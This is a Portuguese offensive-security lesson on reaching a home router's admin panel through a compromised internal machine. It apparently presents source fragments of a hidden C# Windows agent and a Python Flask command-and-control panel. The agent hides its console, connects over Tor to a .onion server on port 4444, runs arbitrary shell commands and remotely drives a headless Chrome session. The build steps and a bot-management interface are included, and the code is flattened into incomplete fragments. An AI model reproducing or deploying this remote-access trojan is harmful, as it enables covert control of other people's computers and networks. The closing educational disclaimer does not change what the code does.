Aula 138 | "Andar" até o roteador
Nesta aula, aprofundamos o funcionamento e a importância dos roteadores dentro de uma rede doméstica moderna. O roteador é o elo entre a rede local e a internet, atuando como gateway principal, responsável por rotear pacotes entre dispositivos internos e redes externas. Além disso, ele gerencia os IPs locais, geralmente através do protocolo DHCP, e oferece proteção básica por meio de firewall ou mecanismos de segurança similares. É o centro lógico da comunicação de rede em um ambiente doméstico ou pequeno escritório.
Apesar da sua função estratégica, o roteador muitas vezes é negligenciado do ponto de vista da segurança. Muitos ainda operam com configurações padrão, interfaces administrativas abertas e credenciais fracas ou inexistentes. Isso representa uma vulnerabilidade crítica. Qualquer dispositivo comprometido dentro da rede pode se tornar um ponto de partida para interações com o roteador, abrindo espaço para ataques direcionados ao próprio equipamento que deveria proteger os demais dispositivos. A estrutura da aula abordou o roteador como um ativo sensível, mas amplamente acessível, principalmente em redes que utilizam equipamentos genéricos ou de baixo custo.
Do ponto de vista de segurança ofensiva, foram exploradas técnicas que viabilizam o acesso ao painel administrativo do roteador de forma remota, mesmo quando ele está protegido por uma camada NAT ou firewall. Esse tipo de acesso não ocorre diretamente de fora da rede, mas sim a partir de um dispositivo interno que serve como intermediário. Isso permite a visualização, controle e manipulação da interface de administração como se o operador estivesse localmente conectado.
Tais abordagens são sofisticadas e exigem uma compreensão profunda da arquitetura de rede, do comportamento dos dispositivos envolvidos e das formas de contornar restrições de visibilidade entre redes. Ao permitir que um operador externo interaja com a interface do roteador por meio de um canal seguro e encapsulado, abre-se a possibilidade de realizar ajustes finos na rede, modificar configurações críticas e até estabelecer persistência na estrutura, tornando difícil a detecção e o bloqueio. A ação de alcançar o roteador através de um dispositivo comprometido não se caracteriza como movimentação lateral tradicional, uma vez que o roteador ocupa um papel hierárquico superior na rede, sendo o gateway e não apenas outro host.
Mesmo sem recorrer a vulnerabilidades específicas ou exploits avançados, é possível realizar ações altamente eficazes explorando apenas configurações padrão, falhas de projeto e o desconhecimento técnico comum em ambientes domésticos. O roteador, sendo um componente central, precisa ser tratado com a mesma atenção e rigor que se aplicaria a qualquer sistema crítico, pois dele depende a integridade e segurança de toda a rede local.
Agente C#
.NET:
https://dotnet.microsoft.com/en-us/download |
Código:
mkdir AgentTor cd AgentTor dotnet new winforms -n AgentTor cd AgentTor |
Código AgentTor.csproj:
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>WinExe</OutputType> <TargetFramework>net9.0-windows</TargetFramework> <UseWindowsForms>true</UseWindowsForms> <RuntimeIdentifier>win-x64</RuntimeIdentifier> <PublishSingleFile>true</PublishSingleFile> <SelfContained>true</SelfContained> <ImplicitUsings>enable</ImplicitUsings> </PropertyGroup> <ItemGroup> <PackageReference Include="PuppeteerSharp" Version="20.2.0" /> </ItemGroup> </Project> |
Código Program.cs:
using System; public class Agente private static volatile bool estaNavegando = false; [DllImport("kernel32.dll")] public void ExecutarCiclo() while (true) private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer) private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta) var hostBytes = Encoding.ASCII.GetBytes(host); var respostaConexao = new byte[10]; private void ProcessarFluxoDeDados(NetworkStream stream) var dadosBuffer = new byte[tamanhoMensagem]; if (comando.StartsWith("netcattest:", StringComparison.OrdinalIgnoreCase)) private async Task EnviarMensagem(NetworkStream stream, byte tipo, byte[] dados) private string EncontrarExecutavelChrome() private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token) await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes($"[+] Usando Chrome: {caminhoChrome}")); pagina = await navegador.NewPageAsync(); await TransmitirTela(stream, token); private async Task TransmitirTela(NetworkStream stream, CancellationToken token) private void ExecutarComandoShell(string comando, NetworkStream stream) |
Código Build:
dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true |
C2 Python
import socket PORTA_C2 = 4444 app = Flask(_name_) log = logging.getLogger('werkzeug') TEMPLATE_HTML = """ <div id="actions-modal" class="modal"> <script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script> const botListEl = document.getElementById('bot-list'); function renderBotList(bots) { function logToTerminal(message, type = 'info') { function selectBot(botId, isAtivo) { closeModalBtn.onclick = () => { actionsModal.style.display = 'none'; }; socket.on('connect', () => { logToTerminal('Conectado ao painel de controle.', 'info'); socket.emit('request_bot_list'); }); const preloader = new Image(); function sendCommand(command) { document.getElementById('start-nav-btn').onclick = () => { if (urlInput.value) sendCommand(netcattest:${urlInput.value}); actionsModal.style.display = 'none'; }; function showClickEffect(x, y) { const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']); def enviar_comando_para_bot(bot_socket, tipo, dados_str): def ler_bytes_exatos(sock, num_bytes): def notificar_clientes_web(): def background_updater(): def tratar_bot(bot_socket, endereco, bot_id): if tipo == 0x01: def iniciar_servidor_c2(): @app.route('/') @socketio.on('request_bot_list') @socketio.on('send_command') @socketio.on('interaction') if info_bot and info_bot["ativo"]: def sair_graciosamente(sig, frame): if _name_ == "_main_": |
Dependências:
pip install flask flask_socketio |
Requisitos mínimos:
-
Python 3.6 ou superior
-
Sistema com acesso a porta 4444 e 5001 (ou portas que você definir)
Explicação:
Imports (Usings):
using System; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Diagnostics; using System.Runtime.InteropServices; using PuppeteerSharp; using PuppeteerSharp.Input; |
-
System, IO, Net.Sockets, Text: fornecem funções básicas para entrada/saída, rede (TCP) e manipulação de texto.
-
Threading / Tasks: usados para trabalhar com múltiplas threads e tarefas assíncronas.
-
Diagnostics: usado para exibir mensagens de depuração.
-
Runtime.InteropServices: permite uso de funções da API do Windows para esconder a janela do console.
-
PuppeteerSharp: biblioteca C# para automação de navegadores com Chromium/Chrome (equivalente ao Puppeteer em Node.js).
Configurações principais
private const string EnderecoProxyTor = "127.0.0.1"; private const int PortaProxyTor = 9050; private const string HostOnion = "...onion"; private const int PortaOnion = 4444; private const int AtrasoReconexao = 15000; |
-
Define o endereço local do proxy do Tor (normalmente o Tor Browser ou Tor daemon escuta em
127.0.0.1:9050
). -
Define o endereço
.onion
(servidor remoto oculto) e porta onde o C2 está escutando. -
Define o tempo de espera (15s) entre tentativas de reconexão.
Variáveis de controle da sessão de navegador:
private static volatile bool estaNavegando; private static CancellationTokenSource tokenSessaoNavegador; private static IPage pagina; private static IBrowser navegador; |
-
Controlam a sessão de navegação com Chrome que será iniciada remotamente e manipulada pelo servidor.
API do Windows para esconder o console:
[DllImport("kernel32.dll")] private static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); private const int SW_OCULTAR = 0; |
-
Importa funções do sistema para esconder a janela do console quando o agente for executado, deixando-o invisível para o usuário.
ExecutarCiclo():
public void ExecutarCiclo() |
-
Loop principal do agente.
-
Conecta ao servidor
.onion
através de um proxy Tor, faz handshake SOCKS5, processa comandos, e reconecta em caso de falha.
LerBytesExatos(...)
Lê dados de um NetworkStream
exatamente no tamanho esperado, byte a byte.
Essencial para comunicação confiável entre cliente e servidor.
RealizarHandshakeSocks(...)
Faz o handshake manual com um proxy SOCKS5, usado pelo Tor.
Envia comandos binários diretamente para conectar ao destino .onion
via stream.
ProcessarFluxoDeDados(...)
Recebe mensagens do servidor:
-
Se a mensagem começa com
netcattest:
, inicia uma sessão headless com navegador. -
Se for outro comando e há uma sessão ativa, processa interações (cliques, digitação).
-
Se não houver sessão, executa o comando no shell do sistema.
ProcessarComandoInteracao(...)
Executa ações no navegador controlado:
-
Clique em coordenadas
-
Digitação de texto
-
Pressionar teclas especiais
-
Scroll na página
-
Encerrar navegação
EnviarMensagem(...)
Codifica uma mensagem com um cabeçalho binário (tipo
, tamanho
) e os dados.
Envia via NetworkStream
. Usado para enviar prints da tela ou respostas do shell ao C2.
EncontrarExecutavelChrome()
Procura o caminho do executável do Chrome nos diretórios comuns do Windows.
Necessário para inicializar o PuppeteerSharp com o navegador correto.
IniciarSessaoNavegador(...)
-
Inicializa uma sessão headless do navegador Chrome com PuppeteerSharp.
-
Vai até a URL fornecida (
netcattest:http://...
) e inicia a transmissão da tela.
TransmitirTela(...)
Tira screenshots contínuos da tela do navegador e envia ao C2 como imagens JPEG codificadas.
Simula uma transmissão visual da navegação.
ExecutarComandoShell(...)
Executa comandos via cmd.exe
(modo oculto) e retorna o resultado ao servidor.
Pode executar qualquer instrução no sistema do agente, como dir
, tasklist
, etc.
Main(...):
Ponto de entrada da aplicação. Cria uma instância do agente e inicia o loop de execução.
Aviso de ética e responsabilidade
Este conteúdo é exclusivamente educacional e foi desenvolvido com o objetivo de demonstrar conceitos técnicos aplicados à segurança da informação. As técnicas, ferramentas e exemplos apresentados têm finalidade didática e são voltados para uso em ambientes controlados, laboratórios autorizados ou testes de segurança com permissão explícita.
O autor deste material não incentiva, autoriza ou se responsabiliza por qualquer uso indevido, ilegal ou mal-intencionado das informações aqui demonstradas. A reprodução ou aplicação prática dos conteúdos fora de um contexto ético e legal pode constituir crime, de acordo com a legislação vigente.
Ao acessar ou utilizar este material, você assume total responsabilidade por suas ações e declara compreender que todo conhecimento de segurança ofensiva deve ser usado com consciência, integridade e respeito à privacidade, à propriedade e à lei.